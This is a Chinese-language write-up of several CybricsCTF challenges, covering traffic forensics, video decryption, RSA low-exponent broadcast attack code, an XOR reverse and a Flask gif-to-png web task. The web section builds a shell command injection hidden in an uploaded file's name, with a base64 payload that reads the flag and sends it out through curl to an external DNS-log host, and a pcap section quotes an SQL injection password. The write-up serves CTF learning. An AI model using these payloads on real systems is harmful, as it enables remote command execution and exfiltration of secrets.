CybricsCTF

CybricsCTF

记得去年是放假回家的路上比赛开始的,回到家开始做,结果一道题也没出…

今年还行,简单题能做做。

Misc-Hellish Reverse

binwalk直接拿到flag

Misc-Krevedka

http流量溯源

解题

题目说是一个内网用户用另一个用户的账号caleches进行登录,那我们就找caleches提交申请的POST包:

urlencoded-form.value=="caleches"

可以看到三个提交登录的报文:

密码是vixie%20+or+1%3D1+--显然包含第二个密码的报文是攻击者提交的,可以在该报文中拿到他浏览器的User-Agent信息,然后再用此信息去数据包中找其他包含此信息的报文,便可以找到攻击者提交的报文记录,其中包含他自己的用户名:

http.user_agent=="UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697; www1.smart.com.ph/; GT-S5360) U2/1.0.0 UCBrowser/9.8.0.534 Mobile"

Misc-Kyshooter

考察视频分帧/慢放,好吧,其实考的是眼力。。。

解题

ffmpeg对视频进行分帧,

ffmpeg.exe -i speeded.mp4 -r 30 %3d.png

结合Potplayer0.2倍速慢放,再多次尝试得到密码mahchoudqotlzeeb,看到视频里的加密是:

openssl enc -aes-256-cbc -in flag.txt -out flag.txt.enc

aes-256-cbc解密即可:

openssl enc -d -aes-256-cbc -in flag.txt.enc -out flag.txt

刚开始用ubuntu16死活解密错误,以为是密码错了,狂猜密码都不行,后来偶然间用ubuntu18才解正确,魔幻。。。

MISC-XCor

简单流量审计

解题

拿到流量包,可导出net10.exe的对象,需要输入用户名,然后在流量包中找到了包含用户名的两个报文:

拿到用户名登录即可拿到flag

Crypto-Mic Check

签到密码题,提示说是与Windows的UserAssist加密,其实就是ROT-13加密,字母对应如下

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm

替换回去即可。

Crypto-Broken Invitation

题目给了三组公钥、且e=3,显然是低加密指数广播攻击,代码如下:

from functools import reduce
import binascii, gmpy2
from Crypto.Util.number import long_to_bytes

n = [
0x8aa5dfa13fd16765b7a220eac8731dbc2865772496325b671e742ec391249bbddc4aaa3c8264a0ba5de8843d161dcbb5eb02813fcf14aab3ef315845228864b9fb426620bedb146237f2095adcaa233280bdd526aa2238e66b222c880fd4d78efacc56a887,
0x3eff009b4c43b714ff55f38fa16a633f266ca10e7500c568715d91b650573f66dcb6266be76da94b9ca7c394a9b65fed6e7b8522a1da640ce7033fd933aa1c3e4a1fd0747c1b17ec2fa1239299beaa269752944d7cc084ee145985f1,
0x698a394fbc84898d0a276f457de4166ffcb6c96736621de30892e66585da3077f7e6298f23fb31b511989692a1fd4d1ebc7ded8d35f93a80de69fb9ec1003af55484f5638215aa84866191df9baa56a394179f66243e803b0df8c789c8755eef4e431205264205
]
c = [
0x3a4fe4c9a1318194d364e7a67b7e34dbb02c3f2e63f52b26bb8b3ef349807679c0ff95245187b5ddbc1baaa4a808137d456696cfb3ebe47b7853cec33c709d9ce8b46272f7b0b0e69dd4091920b968b8ad37686e24b800928732daf924f98945267cfd156a,
0x2ed28a3bb70af3820c5fc9e27f16b8d893ba578bcf1d879a32898c8e4e0f4b3fdf339889f9a44026de783786e62f1fe8fc25770bf89519c2fbd66d2cc6c02ffae8722b4391173993fa3f993b3318f07ca9a31df84a48959bfd0e06a,
0x63faaa3d6c3585425190d755347f6cd8913805f7edc551096322d105f24a6339c8f0ac1025db08cbda89195818acdeaea42a9273b10b874ec63e7d986f1172988a700308bc72f3d4531c9ec08e2ec06f5c00c54cc54d13b44ff33eb3851231fb591a0c15e220ac
]
def CRT(mi, ai):
assert(reduce(gmpy2.gcd,mi)==1)
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
e=0x3
m=gmpy2.iroot(CRT(n, c), e)[0]
m = long_to_bytes(m)
s = str(m)
print(s[::-1])

Reverse-Babyrev

简单逆向,不然也做不出来

解题

给了xml文件,题目还提示:snap.berkeley.edu/offline

下载snap,打开xml文件可以得到加密逻辑:

可以看到是与33进行异或,拿最后的结果异或回去即可:

list = [66,88,67,83,72,66,82,90,86,18,77,16,98,17,76,18,126,97,79,69,126,102,17,17,69,126,77,116,66,74,0,92]
flag = ""

for i in range(len(list)):
tmp = list[i]
flag+=chr(tmp^33)

print flag

Web-Hunt

五个验证码,全验证对了就行,这题得科学上网,要不然验证码你都拿不到。。。

Web-Gif2png

题目提供了源码:

import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)

file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)

if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)

if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)

uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")

logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True) # 命令执行
command.wait(timeout=15)
logging.debug(command.stdout)

flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))

return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)

return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413


if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)

代码中可以进行命令注入,我注释了,但是命令打过去没有得到结果。。。应该是题目服务器存在防火墙阻止了通过80端口向外进行资源请求,因此考虑利用DNSlog拿命令执行的结果,参考这里

如果想往DNS平台上打,就需要执行一些命令,但是字符进行了限制:

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

会从文件名的头部开始到文件名结尾进行多次匹配,如果字符在a-zA-Z0-9_-. '"=$()|之中,则bool函数处理后是1,加上前面的not转为0,也就通过了检测,所以我们构造的文件名必须在上述字符的范围内。

解题

这里用了http://ceye.io/平台

需要构造payload如下:

flag=$(cat main.py|grep -wo cybrics{.*|base64|tr -d '=');curl $flag.o3svs0.ceye.io

可以看到其中{*字符都不在白名单里,因此需要进行处理,base64是个不错的选择

base64结果:

ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy5vM3N2czAuY2V5ZS5pbw==

包裹上命令:

echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy5vM3N2czAuY2V5ZS5pbw==|base64 -d | sh

最终文件名:

ggb0n'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy5vM3N2czAuY2V5ZS5pbw==|base64 -d | sh||'.gif

然后上传、抓包、改文件名、改文件类型,在DNS平台获取结果:

Comments


:D 一言句子获取中...

Loading...Wait a Minute!